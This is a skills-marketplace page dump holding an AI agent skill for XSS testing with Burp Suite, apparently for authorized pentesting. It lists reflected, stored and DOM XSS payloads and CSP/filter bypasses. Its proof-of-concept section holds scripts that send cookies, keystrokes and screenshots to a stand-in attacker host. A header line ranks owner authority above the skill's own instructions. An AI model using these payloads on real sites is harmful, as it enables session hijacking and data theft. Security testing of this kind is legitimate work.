[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71BND7GHD6KBP6XJHTMF1F8":3,"skill-same:01M71BND7GHD6KBP6XJHTMF1F8":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":58,"updatedAt":59,"install":60,"resources":72},"01M71BND7GHD6KBP6XJHTMF1F8","cyber-testing-for-xss-vulnerabilities-with-burpsuite",null,"Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-for-xss-vulnerabilities-with-burpsuite\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"xss","testing for xss vulnerabilities with burpsuite","testing for xss vulnerabilities","cyber testing for xss vulnerabilities with burpsuite","cyber testing for xss vulnerabilities","for","with","burpsuite","vulnerabilities","testing","security","owasp","suite","NIST","apache","subdomain","scanner","cross-site-scripting","false","cybersecurity","2026-11-10 10:12:30",false,"---\nname: cyber-testing-for-xss-vulnerabilities-with-burpsuite\ndescription: \"Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: testing-for-xss-vulnerabilities-with-burpsuite | description: Identifying and validating cross-site scripting vulnerabilities using |   Burp Suite's scanner, intruder, and repeater tools during authorized security assessments. | domain: cybersecurity | subdomain: web-application-security | tags: | - penetration-testing | - xss | - burpsuite | - owasp | - web-security | - cross-site-scripting | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.PS-01 | - ID.RA-01 | - \"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing for XSS Vulnerabilities with Burp Suite\n\n## When to Use\n\n- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS\n- When validating XSS findings reported by automated vulnerability scanners\n- For testing the effectiveness of Content Security Policy (CSP) and XSS filters\n- When assessing client-side security of single-page applications (SPAs)\n- During bug bounty programs targeting XSS vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written scope and rules of engagement for the target application\n- **Burp Suite Professional**: Licensed version with active scanner capabilities\n- **Browser**: Firefox or Chromium with Burp CA certificate installed\n- **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)\n- **Target application**: Authenticated access with valid test credentials\n- **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set\n\n## Workflow\n\n### Step 1: Configure Burp Suite and Map the Application\n\nSet up the proxy and crawl the application to discover all input vectors.\n\n```\n# Burp Suite Configuration\n1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080\n2. Target > Scope: Add target domain (e.g., *.target.example.com)\n3. Dashboard > New Scan > Crawl only > Select target URL\n4. Enable \"Passive scanning\" in Dashboard settings\n\n# Browser Setup\n- Install Burp CA: http:\u002F\u002Fburpsuite → CA Certificate\n- Import certificate into browser trust store\n- Configure proxy: 127.0.0.1:8080\n- Browse the application manually to build the site map\n```\n\n### Step 2: Identify Reflection Points with Burp Repeater\n\nSend requests to Repeater and inject unique canary strings to find where user input is reflected.\n\n```\n# In Burp Repeater, inject a unique canary string into each parameter:\nGET \u002Fsearch?q=xsscanary12345 HTTP\u002F1.1\nHost: target.example.com\n\n# Check the response for reflections of the canary:\n# Search response body for \"xsscanary12345\"\n# Note the context: HTML body, attribute, JavaScript, URL, etc.\n\n# Test multiple injection contexts:\n# HTML body: \u003Cp>Results for: xsscanary12345\u003C\u002Fp>\n# Attribute: \u003Cinput value=\"xsscanary12345\">\n# JavaScript: var search = \"xsscanary12345\";\n# URL context: \u003Ca href=\"\u002Fpage?q=xsscanary12345\">\n\n# Test with HTML special characters to check encoding:\nGET \u002Fsearch?q=xss\u003C>\"'&\u002F HTTP\u002F1.1\nHost: target.example.com\n# Check which characters are reflected unencoded\n```\n\n### Step 3: Test Reflected XSS with Context-Specific Payloads\n\nBased on the reflection context, craft targeted XSS payloads.\n\n```\n# HTML Body Context - Basic payload\nGET \u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\n\n# HTML Attribute Context - Break out of attribute\nGET \u002Fsearch?q=\" onfocus=alert(document.domain) autofocus=\" HTTP\u002F1.1\nHost: target.example.com\n\n# JavaScript String Context - Break out of string\nGET \u002Fsearch?q=';alert(document.domain)\u002F\u002F HTTP\u002F1.1\nHost: target.example.com\n\n# Event Handler Context - Use alternative events\nGET \u002Fsearch?q=\u003Cimg src=x onerror=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# SVG Context\nGET \u002Fsearch?q=\u003Csvg onload=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# If angle brackets are filtered, try encoding:\nGET \u002Fsearch?q=%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E HTTP\u002F1.1\nHost: target.example.com\n```\n\n### Step 4: Test Stored XSS via Burp Intruder\n\nUse Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.\n\n```\n# Burp Intruder Configuration:\n# 1. Right-click request > Send to Intruder\n# 2. Positions tab: Mark the injectable parameter\n# 3. Payloads tab: Load XSS payload list\n\n# Example payload list for Intruder:\n\u003Cscript>alert(1)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Cmath>\u003Cmtext>\u003Ctable>\u003Cmglyph>\u003Csvg>\u003Cmtext>\u003Ctextarea>\u003Cpath id=\"\u003C\u002Ftextarea>\u003Cimg onerror=alert(1) src=1>\">\n\">\u003Cimg src=x onerror=alert(1)>\n'-alert(1)-'\n\\'-alert(1)\u002F\u002F\n\n# In Intruder > Options > Grep - Match:\n# Add patterns: \"alert(1)\", \"onerror=\", \"\u003Cscript>\"\n# This flags responses where payloads are reflected\u002Fstored\n```\n\n### Step 5: Test DOM-based XSS\n\nIdentify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.\n\n```\n# Enable DOM Invader in Burp's embedded browser:\n# 1. Open Burp's embedded Chromium browser\n# 2. Click DOM Invader extension icon > Enable\n# 3. Set canary value (e.g., \"domxss\")\n\n# Common DOM XSS sinks to monitor:\n# - document.write()\n# - innerHTML\n# - outerHTML\n# - eval()\n# - setTimeout() \u002F setInterval() with string args\n# - location.href \u002F location.assign()\n# - jQuery .html() \u002F .append()\n\n# Common DOM XSS sources:\n# - location.hash\n# - location.search\n# - document.referrer\n# - window.name\n# - postMessage data\n\n# Test URL fragment-based DOM XSS:\nhttps:\u002F\u002Ftarget.example.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n# Test via document.referrer:\n# Create a page that links to the target with XSS in the referrer\n```\n\n### Step 6: Bypass XSS Filters and CSP\n\nWhen basic payloads are blocked, use advanced techniques to bypass protections.\n\n```\n# CSP Analysis - Check response headers:\nContent-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com\n\n# Common CSP bypasses:\n# If 'unsafe-inline' is allowed:\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Filter bypass techniques:\n# Case variation: \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n# Null bytes: \u003Cscr%00ipt>alert(1)\u003C\u002Fscript>\n# Double encoding: %253Cscript%253Ealert(1)%253C\u002Fscript%253E\n# HTML entities: \u003Cimg src=x onerror=alert(1)>\n# Unicode escapes: \u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n# Use Burp Suite > BApp Store > Install \"Hackvertor\"\n# Encode payloads with Hackvertor tags:\n# \u003C@hex_entities>alert(document.domain)\u003C@\u002Fhex_entities>\n```\n\n### Step 7: Validate Impact and Document Findings\n\nConfirm exploitability and document the full attack chain.\n\n```\n# Proof of Concept payload that demonstrates real impact:\n# Cookie theft:\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker-server.example.com\u002Fsteal?c='+document.cookie)\n\u003C\u002Fscript>\n\n# Session hijacking via XSS:\n\u003Cscript>\nnew Image().src='https:\u002F\u002Fattacker-server.example.com\u002Flog?cookie='+document.cookie;\n\u003C\u002Fscript>\n\n# Keylogger payload (demonstrates impact severity):\n\u003Cscript>\ndocument.onkeypress=function(e){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fkeys?k='+e.key);\n}\n\u003C\u002Fscript>\n\n# Screenshot capture using html2canvas (stored XSS impact):\n\u003Cscript src=\"https:\u002F\u002Fhtml2canvas.hertzen.com\u002Fdist\u002Fhtml2canvas.min.js\">\u003C\u002Fscript>\n\u003Cscript>\nhtml2canvas(document.body).then(function(canvas){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fscreen',{\n    method:'POST',body:canvas.toDataURL()\n  });\n});\n\u003C\u002Fscript>\n\n# Document each finding with:\n# - URL and parameter\n# - Payload used\n# - Screenshot of alert\u002Fexecution\n# - Impact assessment\n# - Reproduction steps\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request |\n| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users |\n| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection |\n| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input |\n| **XSS Source** | A location where attacker-controlled data enters the client-side application |\n| **CSP** | Content Security Policy header that restricts which scripts can execute on a page |\n| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |\n| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader |\n| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing |\n| **Hackvertor** | Burp BApp for advanced payload encoding and transformation |\n| **XSS Hunter** | Blind XSS detection platform that captures execution evidence |\n| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com\u002Fhahwul\u002Fdalfox\u002Fv2@latest`) |\n| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness |\n\n## Common Scenarios\n\n### Scenario 1: Search Function Reflected XSS\nA search page reflects the query parameter in the results heading without encoding. Inject `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the search parameter and demonstrate cookie theft via reflected XSS.\n\n### Scenario 2: Comment System Stored XSS\nA blog comment form sanitizes `\u003Cscript>` tags but allows `\u003Cimg>` tags. Use `\u003Cimg src=x onerror=alert(document.domain)>` to achieve stored XSS that fires for every visitor loading the page.\n\n### Scenario 3: SPA with DOM-based XSS\nA React\u002FAngular SPA reads `window.location.hash` and injects it into the DOM via `innerHTML`. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.\n\n### Scenario 4: XSS Behind WAF with Strict CSP\nA WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.\n\n## Output Format\n\n```\n## XSS Vulnerability Finding\n\n**Vulnerability**: Stored Cross-Site Scripting (XSS)\n**Severity**: High (CVSS 8.1)\n**Location**: POST \u002Fapi\u002Fcomments → `body` parameter\n**Type**: Stored XSS\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fblog\u002Fpost\u002F123\n2. Submit a comment with body: \u003Cimg src=x onerror=alert(document.domain)>\n3. Reload the page; the payload executes in the browser\n\n### Impact\n- Session hijacking via cookie theft for all users viewing the page\n- Account takeover through session token exfiltration\n- Defacement of the blog post page\n- Phishing via injected login forms\n\n### CSP Status\n- No Content-Security-Policy header present\n- X-XSS-Protection header not set\n\n### Recommendation\n1. Implement context-aware output encoding (HTML entity encoding for HTML context)\n2. Deploy Content Security Policy with strict nonce-based script allowlisting\n3. Use DOMPurify library for sanitizing user-generated HTML content\n4. Set HttpOnly and Secure flags on session cookies\n5. Add X-Content-Type-Options: nosniff header\n```\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing for XSS Vulnerabilities with Burp Suite\n\n## When to Use\n\n- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS\n- When validating XSS findings reported by automated vulnerability scanners\n- For testing the effectiveness of Content Security Policy (CSP) and XSS filters\n- When assessing client-side security of single-page applications (SPAs)\n- During bug bounty programs targeting XSS vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written scope and rules of engagement for the target application\n- **Burp Suite Professional**: Licensed version with active scanner capabilities\n- **Browser**: Firefox or Chromium with Burp CA certificate installed\n- **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)\n- **Target application**: Authenticated access with valid test credentials\n- **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set\n\n## Workflow\n\n### Step 1: Configure Burp Suite and Map the Application\n\nSet up the proxy and crawl the application to discover all input vectors.\n\n```\n# Burp Suite Configuration\n1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080\n2. Target > Scope: Add target domain (e.g., *.target.example.com)\n3. Dashboard > New Scan > Crawl only > Select target URL\n4. Enable \"Passive scanning\" in Dashboard settings\n\n# Browser Setup\n- Install Burp CA: http:\u002F\u002Fburpsuite → CA Certificate\n- Import certificate into browser trust store\n- Configure proxy: 127.0.0.1:8080\n- Browse the application manually to build the site map\n```\n\n### Step 2: Identify Reflection Points with Burp Repeater\n\nSend requests to Repeater and inject unique canary strings to find where user input is reflected.\n\n```\n# In Burp Repeater, inject a unique canary string into each parameter:\nGET \u002Fsearch?q=xsscanary12345 HTTP\u002F1.1\nHost: target.example.com\n\n# Check the response for reflections of the canary:\n# Search response body for \"xsscanary12345\"\n# Note the context: HTML body, attribute, JavaScript, URL, etc.\n\n# Test multiple injection contexts:\n# HTML body: \u003Cp>Results for: xsscanary12345\u003C\u002Fp>\n# Attribute: \u003Cinput value=\"xsscanary12345\">\n# JavaScript: var search = \"xsscanary12345\";\n# URL context: \u003Ca href=\"\u002Fpage?q=xsscanary12345\">\n\n# Test with HTML special characters to check encoding:\nGET \u002Fsearch?q=xss\u003C>\"'&\u002F HTTP\u002F1.1\nHost: target.example.com\n# Check which characters are reflected unencoded\n```\n\n### Step 3: Test Reflected XSS with Context-Specific Payloads\n\nBased on the reflection context, craft targeted XSS payloads.\n\n```\n# HTML Body Context - Basic payload\nGET \u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\n\n# HTML Attribute Context - Break out of attribute\nGET \u002Fsearch?q=\" onfocus=alert(document.domain) autofocus=\" HTTP\u002F1.1\nHost: target.example.com\n\n# JavaScript String Context - Break out of string\nGET \u002Fsearch?q=';alert(document.domain)\u002F\u002F HTTP\u002F1.1\nHost: target.example.com\n\n# Event Handler Context - Use alternative events\nGET \u002Fsearch?q=\u003Cimg src=x onerror=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# SVG Context\nGET \u002Fsearch?q=\u003Csvg onload=alert(document.domain)> HTTP\u002F1.1\nHost: target.example.com\n\n# If angle brackets are filtered, try encoding:\nGET \u002Fsearch?q=%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E HTTP\u002F1.1\nHost: target.example.com\n```\n\n### Step 4: Test Stored XSS via Burp Intruder\n\nUse Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.\n\n```\n# Burp Intruder Configuration:\n# 1. Right-click request > Send to Intruder\n# 2. Positions tab: Mark the injectable parameter\n# 3. Payloads tab: Load XSS payload list\n\n# Example payload list for Intruder:\n\u003Cscript>alert(1)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Cmath>\u003Cmtext>\u003Ctable>\u003Cmglyph>\u003Csvg>\u003Cmtext>\u003Ctextarea>\u003Cpath id=\"\u003C\u002Ftextarea>\u003Cimg onerror=alert(1) src=1>\">\n\">\u003Cimg src=x onerror=alert(1)>\n'-alert(1)-'\n\\'-alert(1)\u002F\u002F\n\n# In Intruder > Options > Grep - Match:\n# Add patterns: \"alert(1)\", \"onerror=\", \"\u003Cscript>\"\n# This flags responses where payloads are reflected\u002Fstored\n```\n\n### Step 5: Test DOM-based XSS\n\nIdentify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.\n\n```\n# Enable DOM Invader in Burp's embedded browser:\n# 1. Open Burp's embedded Chromium browser\n# 2. Click DOM Invader extension icon > Enable\n# 3. Set canary value (e.g., \"domxss\")\n\n# Common DOM XSS sinks to monitor:\n# - document.write()\n# - innerHTML\n# - outerHTML\n# - eval()\n# - setTimeout() \u002F setInterval() with string args\n# - location.href \u002F location.assign()\n# - jQuery .html() \u002F .append()\n\n# Common DOM XSS sources:\n# - location.hash\n# - location.search\n# - document.referrer\n# - window.name\n# - postMessage data\n\n# Test URL fragment-based DOM XSS:\nhttps:\u002F\u002Ftarget.example.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n# Test via document.referrer:\n# Create a page that links to the target with XSS in the referrer\n```\n\n### Step 6: Bypass XSS Filters and CSP\n\nWhen basic payloads are blocked, use advanced techniques to bypass protections.\n\n```\n# CSP Analysis - Check response headers:\nContent-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com\n\n# Common CSP bypasses:\n# If 'unsafe-inline' is allowed:\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Filter bypass techniques:\n# Case variation: \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n# Null bytes: \u003Cscr%00ipt>alert(1)\u003C\u002Fscript>\n# Double encoding: %253Cscript%253Ealert(1)%253C\u002Fscript%253E\n# HTML entities: \u003Cimg src=x onerror=alert(1)>\n# Unicode escapes: \u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n# Use Burp Suite > BApp Store > Install \"Hackvertor\"\n# Encode payloads with Hackvertor tags:\n# \u003C@hex_entities>alert(document.domain)\u003C@\u002Fhex_entities>\n```\n\n### Step 7: Validate Impact and Document Findings\n\nConfirm exploitability and document the full attack chain.\n\n```\n# Proof of Concept payload that demonstrates real impact:\n# Cookie theft:\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker-server.example.com\u002Fsteal?c='+document.cookie)\n\u003C\u002Fscript>\n\n# Session hijacking via XSS:\n\u003Cscript>\nnew Image().src='https:\u002F\u002Fattacker-server.example.com\u002Flog?cookie='+document.cookie;\n\u003C\u002Fscript>\n\n# Keylogger payload (demonstrates impact severity):\n\u003Cscript>\ndocument.onkeypress=function(e){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fkeys?k='+e.key);\n}\n\u003C\u002Fscript>\n\n# Screenshot capture using html2canvas (stored XSS impact):\n\u003Cscript src=\"https:\u002F\u002Fhtml2canvas.hertzen.com\u002Fdist\u002Fhtml2canvas.min.js\">\u003C\u002Fscript>\n\u003Cscript>\nhtml2canvas(document.body).then(function(canvas){\n  fetch('https:\u002F\u002Fattacker-server.example.com\u002Fscreen',{\n    method:'POST',body:canvas.toDataURL()\n  });\n});\n\u003C\u002Fscript>\n\n# Document each finding with:\n# - URL and parameter\n# - Payload used\n# - Screenshot of alert\u002Fexecution\n# - Impact assessment\n# - Reproduction steps\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request |\n| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users |\n| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection |\n| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input |\n| **XSS Source** | A location where attacker-controlled data enters the client-side application |\n| **CSP** | Content Security Policy header that restricts which scripts can execute on a page |\n| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |\n| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader |\n| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing |\n| **Hackvertor** | Burp BApp for advanced payload encoding and transformation |\n| **XSS Hunter** | Blind XSS detection platform that captures execution evidence |\n| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com\u002Fhahwul\u002Fdalfox\u002Fv2@latest`) |\n| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness |\n\n## Common Scenarios\n\n### Scenario 1: Search Function Reflected XSS\nA search page reflects the query parameter in the results heading without encoding. Inject `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the search parameter and demonstrate cookie theft via reflected XSS.\n\n### Scenario 2: Comment System Stored XSS\nA blog comment form sanitizes `\u003Cscript>` tags but allows `\u003Cimg>` tags. Use `\u003Cimg src=x onerror=alert(document.domain)>` to achieve stored XSS that fires for every visitor loading the page.\n\n### Scenario 3: SPA with DOM-based XSS\nA React\u002FAngular SPA reads `window.location.hash` and injects it into the DOM via `innerHTML`. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.\n\n### Scenario 4: XSS Behind WAF with Strict CSP\nA WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.\n\n## Output Format\n\n```\n## XSS Vulnerability Finding\n\n**Vulnerability**: Stored Cross-Site Scripting (XSS)\n**Severity**: High (CVSS 8.1)\n**Location**: POST \u002Fapi\u002Fcomments → `body` parameter\n**Type**: Stored XSS\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fblog\u002Fpost\u002F123\n2. Submit a comment with body: \u003Cimg src=x onerror=alert(document.domain)>\n3. Reload the page; the payload executes in the browser\n\n### Impact\n- Session hijacking via cookie theft for all users viewing the page\n- Account takeover through session token exfiltration\n- Defacement of the blog post page\n- Phishing via injected login forms\n\n### CSP Status\n- No Content-Security-Policy header present\n- X-XSS-Protection header not set\n\n### Recommendation\n1. Implement context-aware output encoding (HTML entity encoding for HTML context)\n2. Deploy Content Security Policy with strict nonce-based script allowlisting\n3. Use DOMPurify library for sanitizing user-generated HTML content\n4. Set HttpOnly and Secure flags on session cookies\n5. Add X-Content-Type-Options: nosniff header\n```\n",{"hide":49,"name":5,"source":50,"license":15,"description":7,"authorized_lab":45,"origin_frontmatter":51},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: testing-for-xss-vulnerabilities-with-burpsuite | description: Identifying and validating cross-site scripting vulnerabilities using |   Burp Suite's scanner, intruder, and repeater tools during authorized security assessments. | domain: cybersecurity | subdomain: web-application-security | tags: | - penetration-testing | - xss | - burpsuite | - owasp | - web-security | - cross-site-scripting | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.PS-01 | - ID.RA-01 | - ","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-testing-for-xss-vulnerabilities-with-burpsuite",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":49},[62,65,68],{"tool":63,"command":64},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-for-xss-vulnerabilities-with-burpsuite",{"tool":66,"command":67},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-for-xss-vulnerabilities-with-burpsuite",{"tool":69,"command":70},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-for-xss-vulnerabilities-with-burpsuite","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-for-xss-vulnerabilities-with-burpsuite\u002FSKILL.md",[],[74,97,120,148,177,196],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":44},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[82,83,30,84,85,86,87,88,89,90,91,92,93,94,95,96],"zoom out","zoom","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":44},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[104,105,84,106,107,29,108,109,110,111,112,90,113,92,114,115,116,117,118,119],"yuri shura","parallel","architecture review","planning","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":129,"publishedAt":44},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[126],{"categoryNo":127,"categoryName":128,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通",[130,131,132,133,134,135,136,137,138,92,139,140,141,142,143,144,145,29,146,147],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold 